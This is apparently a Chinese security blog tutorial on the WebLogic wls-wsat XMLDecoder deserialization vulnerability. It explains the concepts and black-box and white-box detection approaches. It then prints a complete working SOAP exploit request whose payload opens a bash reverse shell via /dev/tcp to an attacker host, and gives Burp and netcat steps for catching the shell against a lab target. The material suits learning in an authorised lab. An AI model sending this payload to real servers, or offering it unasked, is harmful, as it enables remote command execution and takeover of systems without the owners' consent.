【weblogic】XML反序列化漏洞

序列化: 将程序中的一个对象(Object)的状态(如属性、值)转换成一种可以存储或传输的格式(如XML字符串、二进制流)的过程。

反序列化: 是序列化的逆过程。将存储或传输的格式(如XML字符串)还原成一个内存中的活的对象(Object)的过程。

XML反序列化: 特指使用XML格式(如SOAP、Web服务的常用协议)作为序列化数据格式的反序列化操作。

用Bp 向目标WebLogic服务器发送了一个精心构造的SOAP请求 。这个请求的核心是利用WebLogic的WorkContext处理机制中的一个反序列化漏洞

第一段:黑盒测试方法

在黑盒测试场景下,检测XML反序列化漏洞主要依赖于对应用程序通信流量的分析。测试人员首先需要拦截并检查所有的HTTP请求,重点关注那些使用XML作为数据主体的接口,例如基于SOAP的WebService或配置失当的REST API。随后,通过有策略地修改XML结构,例如插入某些无害的测试标签,可以观察服务器的响应是否出现异常行为或暴露出有价值的错误信息(如Java类名、框架标识等)。为了进一步验证,可以提交公开的、无害的测试Payload,例如触发一个时间延迟或一个外部的DNS查询,通过观察应用程序是否存在预期的延迟或网络外联行为来判断漏洞是否存在。此外,借助Burp Suite的专项扩展(如Freddy)或其它自动化扫描工具,可以系统性地辅助完成这一检测过程。

第二段:白盒测试方法

在白盒测试场景下,代码审计是发现XML反序列化漏洞最直接有效的方法。安全人员可以直接在源代码中搜索危险的反序列化函数关键字,例如Java中的 XMLDecoder.readObject()、XStream库的 fromXML()或 .NET框架中的 XmlSerializer.Deserialize()。定位到这些关键函数后,审计的核心在于逆向追踪其输入参数的数据来源,仔细检查这些参数是否直接来源于用户可控的输入(如HTTP请求参数、Cookie、Header),或者是否在经过了不充分的校验后间接传递到了反序列化函数中。这种从代码层面进行的溯源分析,能够精准地识别出潜在的安全风险点

bash 复制代码
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.142.133:7001    #centos的ip和端口,也就是启动靶场环境的ip和端口
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.142.162/8888 0&gt;&amp;1</string>   #ip是kali的,开了8888监听端口的ip
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

repeter上放这段代码,然后修改ip,在kali上开启监听

开启网络监听器(Netcat),等待来自目标服务器的连接。

BP按发送

response第一行,服务器返回了500 Internal Server Error。表明恶意载荷已经被服务器处理,并且很可能已经触发了漏洞,导致服务器尝试执行注入的命令

说明已经**成功入侵了服务器,并获得了最高权限(root),**可以在上面执行任意命令(查看、修改、删除文件,安装软件,作为跳板攻击内网其他机器等)。

特别强调:安全人员授权测试

相关推荐
Jialu.1 小时前
第7篇:舆情预警系统:三类规则引擎 + 飞书/钉钉 Webhook 通知
python·安全
红姐跨境书9 小时前
从零打造高性能 API 网关: Go 语言中的双缓冲 Dynamic Config 最佳实践
安全
迪康Defender14 小时前
终端安全实战:如何高效解决企业U盘泄密与管控难题
运维·网络·安全·web安全·终端安全管理
网安小学生(兼顾数据库版)15 小时前
固件+软件供应链:ONEKEY+Mend如何实现全链路安全覆盖
网络·安全·web安全
珠海西格电力16 小时前
零碳园区管理系统“智慧大脑”功能对园区运营成本的影响有哪些?
大数据·人工智能·安全·系统架构·能源
发量惊人的中年网工17 小时前
2026年DDoS防护方案怎么选?从攻击响应、清洗位置到成本账单,解析全球高防方案
大数据·网络·安全·ddos
国科安芯17 小时前
抗辐射LDO芯片在星载SAR成像系统中的供电架构应用研究
安全·ldo·成像系统·抗辐射·星载sar
航飞光电市场经理19 小时前
UWB定位技术选型指南:从芯片架构到定位引擎的底层能力分析
大数据·人工智能·物联网·安全·人员定位
终端安全笔记21 小时前
iOS 27 之后「策略空转」:设备升级不报错,但旧策略不再管它
android·网络·安全·ios·智能手机
鹿鸣天涯21 小时前
护网专项工作 | 勒索病毒防护指南
网络·计算机网络·安全